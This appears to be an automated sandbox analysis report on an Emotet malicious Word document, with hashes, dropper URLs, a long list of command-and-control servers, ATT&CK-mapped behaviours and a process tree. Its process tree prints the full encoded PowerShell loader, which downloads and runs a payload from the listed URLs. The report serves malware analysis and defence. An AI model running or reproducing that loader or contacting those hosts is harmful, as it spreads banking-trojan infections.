emotet | 2e66a2c7d09baf536b6d905eb6b998287cecb34d1eae7c44b6b785ca5de1e0ba

General

Target
emotet_e1_2e66a2c7d09baf536b6d905eb6b998287cecb34d1eae7c44b6b785ca5de1e0ba_2020-08-21__000229._doc.doc
Size 185KB
Sample200821-ylvfa5f29a
SHA256 2e66a2c7d09baf536b6d905eb6b998287cecb34d1eae7c44b6b785ca5de1e0ba
MD5 58e9275db7ffc0ff2c957275bf51ecbf
SHA1 2736c408a76a35bcaa67372c8312e2220371ba45
SHA512 232af8d9dd2406df2a76fce5a42d464a47d8a9fa3397bf86496a49a2959017bc1bbdda42c8dd0d0f2e88e97352c7a1a473a2035283376ef0a1e459e81ca6c1c9
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://www.ossoriobouliz.com/wp-admin/m1J/
exe.dropper
https://cowbeeonline.com/wp-includes/8jl/
exe.dropper
http://thecandidaplan.com/wp-content/FRd/
exe.dropper
http://www.openbookingapp.com/aquqz/v1/
exe.dropper
http://f1.dodve.com/wp-admin/1/
exe.dropper
http://r-ac.de/laser/lFL/
exe.dropper
http://primetechpeliculas.com.br/wp-includes/l/

Extracted

Family

emotet

C2

65.36.62.20:80
209.126.6.222:8080
5.153.250.14:8080
204.225.249.100:7080
77.90.136.129:8080
185.94.252.27:443
85.105.140.135:443
83.169.21.32:7080
190.190.148.27:8080
185.94.252.12:80
116.125.120.88:443
190.115.18.139:8080
61.92.159.208:8080
24.148.98.177:80
212.93.117.170:80
91.219.169.180:80
73.116.193.136:80
87.106.46.107:8080
187.162.248.237:80
70.32.115.157:8080
188.135.15.49:80
149.62.173.247:8080
190.6.193.152:8080
81.129.198.57:80
190.128.173.10:80
172.104.169.32:8080
68.183.190.199:8080
89.32.150.160:8080
95.9.180.128:80
178.79.163.131:8080
213.60.96.117:80
94.206.45.18:80
217.199.160.224:7080
73.213.208.163:80
143.0.87.101:80
104.131.103.37:8080
5.196.35.138:7080
202.4.57.96:80
77.55.211.77:8080
188.2.217.94:80
51.255.165.160:8080
46.28.111.142:7080
111.67.12.221:8080
177.73.0.98:443
94.176.234.118:443
45.33.77.42:8080
177.74.228.34:80
192.241.143.52:8080
181.129.96.162:8080
190.163.31.26:80
58.171.153.81:80
174.100.27.229:80
190.147.137.153:443
82.163.245.38:80
45.161.242.102:80
91.222.77.105:80
137.74.106.111:7080
209.236.123.42:8080
177.72.13.80:80
70.32.84.74:8080
191.182.6.118:80
212.71.237.140:8080
82.76.111.249:443
189.2.177.210:443
219.92.13.25:80
51.159.23.217:443
24.135.198.218:80
186.103.141.250:443
178.250.54.208:8080
95.85.151.205:80
192.241.146.84:8080
213.176.36.147:8080
50.28.51.143:8080
185.33.0.233:80
114.109.179.60:80
67.247.242.247:80
104.131.41.185:8080
80.249.176.206:80
190.195.129.227:8090
191.99.160.58:80
45.173.88.33:80
2.47.112.152:80
186.70.127.199:8090
207.144.103.227:80
72.47.248.48:7080
82.196.15.205:8080
24.135.1.177:80
201.171.150.41:443
152.169.22.67:80
170.81.48.2:80
68.183.170.114:8080
217.13.106.14:8080
186.250.52.226:8080
12.162.84.2:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3868	1676	powersheLL.exe	68

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3912-14-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/3912-14-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/3780-17-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet
behavioral2/memory/3780-17-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
22	3868	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3912	Je42ibif.exe
3780	cryptbase.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\OneCoreCommonProxyStub\cryptbase.exe	Je42ibif.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
3868	powersheLL.exe
3868	powersheLL.exe
3868	powersheLL.exe
3780	cryptbase.exe
3780	cryptbase.exe
3780	cryptbase.exe
3780	cryptbase.exe
3780	cryptbase.exe
3780	cryptbase.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3868	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3712	WINWORD.EXE
3912	Je42ibif.exe
3912	Je42ibif.exe
3780	cryptbase.exe
3780	cryptbase.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3868 wrote to memory of 3912	3868	powersheLL.exe	74
PID 3868 wrote to memory of 3912	3868	powersheLL.exe	74
PID 3868 wrote to memory of 3912	3868	powersheLL.exe	74
PID 3912 wrote to memory of 3780	3912	Je42ibif.exe	75
PID 3912 wrote to memory of 3780	3912	Je42ibif.exe	75
PID 3912 wrote to memory of 3780	3912	Je42ibif.exe	75

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_2e66a2c7d09baf536b6d905eb6b998287cecb34d1eae7c44b6b785ca5de1e0ba_2020-08-21__000229._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3712

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABFAHUAcQB3ADEANgAzAD0AKAAnAE0AJwArACcANAA5AHgAYQAnACsAJwAwAG8AJwApADsAJgAoACcAbgBlAHcALQBpAHQAJwArACcAZQBtACcAKQAgACQARQBOAHYAOgBUAEUATQBQAFwATwBGAGYAaQBjAGUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAEMAdQBSAEkAYABUAFkAcAByAGAAbwBUAGAAbwBjAE8AbAAiACAAPQAgACgAJwB0ACcAKwAnAGwAcwAxADIALAAgAHQAbABzACcAKwAnADEAMQAsACAAdABsACcAKwAnAHMAJwApADsAJABMAF8AdwBxADkAaAB3ACAAPQAgACgAJwBKAGUANAAnACsAJwAyAGkAYgBpAGYAJwApADsAJABYAGQAcABpAGgAbwB0AD0AKAAnAFIAeQAnACsAJwB4AGgAaAB1ADcAJwApADsAJABTADYAMAA0ADMAbwBzAD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwAzAHkAbQAnACsAJwBPACcAKwAnAGYAZgAnACsAJwBpAGMAZQAyADAAMQA5ADMAeQBtACcAKQAuACIAUgBFAGAAcABMAEEAQwBFACIAKAAoAFsAQwBoAGEAUgBdADUAMQArAFsAQwBoAGEAUgBdADEAMgAxACsAWwBDAGgAYQBSAF0AMQAwADkAKQAsAFsAcwB0AFIASQBuAGcAXQBbAEMAaABhAFIAXQA5ADIAKQApACsAJABMAF8AdwBxADkAaAB3ACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABUAGwAMAByADcAOAByAD0AKAAnAFgAJwArACcAZAA1AG8ANwAnACsAJwB0AGUAJwApADsAJABKAGcAbwB0AHYAZwA2AD0AJgAoACcAbgBlAHcAJwArACcALQBvAGIAagBlACcAKwAnAGMAdAAnACkAIABuAGUAdAAuAHcAZQBCAEMATABJAEUAbgBUADsAJABPADYANQB0AG8ANQB4AD0AKAAnAGgAdAB0ACcAKwAnAHAAJwArACcAOgAnACsAJwAvAC8AdwB3AHcAJwArACcALgBvAHMAcwBvACcAKwAnAHIAaQBvAGIAbwAnACsAJwB1AGwAaQB6AC4AYwBvAG0ALwB3AHAALQBhACcAKwAnAGQAbQBpAG4ALwBtACcAKwAnADEASgAvACoAaAB0ACcAKwAnAHQAcAAnACsAJwBzADoALwAvAGMAbwAnACsAJwB3ACcAKwAnAGIAZQBlACcAKwAnAG8AbgBsAGkAbgBlAC4AYwBvAG0AJwArACcALwB3AHAALQBpACcAKwAnAG4AYwAnACsAJwBsAHUAJwArACcAZABlAHMALwA4AGoAbAAvACoAaAB0AHQAcAA6AC8ALwB0AGgAZQBjACcAKwAnAGEAbgAnACsAJwBkAGkAZAAnACsAJwBhAHAAbABhAG4ALgAnACsAJwBjAG8AbQAvAHcAcAAtAGMAbwAnACsAJwBuAHQAJwArACcAZQBuAHQAJwArACcALwBGAFIAZAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuACcAKwAnAG8AcABlAG4AYgBvAG8AawBpAG4AJwArACcAZwBhAHAAJwArACcAcAAuAGMAbwBtAC8AYQBxACcAKwAnAHUAcQAnACsAJwB6AC8AdgAxAC8AKgBoAHQAdABwADoALwAvAGYAMQAnACsAJwAuAGQAbwBkAHYAZQAuAGMAbwBtAC8AdwBwAC0AJwArACcAYQBkAG0AaQBuAC8AJwArACcAMQAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8AJwArACcALwByAC0AJwArACcAYQAnACsAJwBjAC4AZABlAC8AbABhACcAKwAnAHMAZQByAC8AbABGAEwALwAqAGgAdAB0AHAAJwArACcAOgAvAC8AcAByAGkAbQAnACsAJwBlAHQAJwArACcAZQAnACsAJwBjAGgAcABlAGwAJwArACcAaQBjAHUAbABhAHMALgBjAG8AbQAnACsAJwAuAGIAcgAnACsAJwAvACcAKwAnAHcAJwArACcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvACcAKwAnAGwAJwArACcALwAnACkALgAiAHMAcABMAGAAaQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASABrADUAMgBtADAAawA9ACgAJwBLACcAKwAnAGgAbQBsADMAdABmACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFQAYgBwADUAZwB5ADUAIABpAG4AIAAkAE8ANgA1AHQAbwA1AHgAKQB7AHQAcgB5AHsAJABKAGcAbwB0AHYAZwA2AC4AIgBkAG8AVwBgAE4ATABgAE8AYQBEAEYAaQBMAEUAIgAoACQAVABiAHAANQBnAHkANQAsACAAJABTADYAMAA0ADMAbwBzACkAOwAkAFkAeQBxADIAagB6AHIAPQAoACcAUAA2AG0AZQAnACsAJwB2AGYAdAAnACkAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQAnACsAJwBJAHQAJwArACcAZQBtACcAKQAgACQAUwA2ADAANAAzAG8AcwApAC4AIgBsAEUATgBnAGAAVABIACIAIAAtAGcAZQAgADIAMwAwADIAOAApACAAewAmACgAJwBJAG4AJwArACcAdgBvAGsAZQAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACgAJABTADYAMAA0ADMAbwBzACkAOwAkAEgAOQA5ADIAZQAxADQAPQAoACcATwAnACsAJwBjAHkAdQBnADUAbgAnACkAOwBiAHIAZQBhAGsAOwAkAEcAcgBoAGMAbwBkAHYAPQAoACcAVQAnACsAJwBmAHMAJwArACcAeABnADUAagAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEYAMwByAHcAaAA1ADQAPQAoACcAUQAnACsAJwAxAHoAJwArACcAeAA0AHIAcQAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3868
- C:\Users\Admin\AppData\Local\Temp\Office2019\Je42ibif.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Je42ibif.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:3912
- - C:\Windows\SysWOW64\OneCoreCommonProxyStub\cryptbase.exe
    "C:\Windows\SysWOW64\OneCoreCommonProxyStub\cryptbase.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:3780

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3712-0-0x00007FF9AB060000-0x00007FF9AB726000-memory.dmp

Download

memory/3712-4-0x00000267268B0000-0x00000267268F7000-memory.dmp

Download

memory/3780-17-0x00000000004F0000-0x00000000004FC000-memory.dmp

Download

memory/3868-8-0x00007FF9A3320000-0x00007FF9A3D0C000-memory.dmp

Download

memory/3868-9-0x00000244ADE30000-0x00000244ADE31000-memory.dmp

Download

memory/3868-10-0x00000244AE190000-0x00000244AE191000-memory.dmp

Download

memory/3912-14-0x0000000000600000-0x000000000060C000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads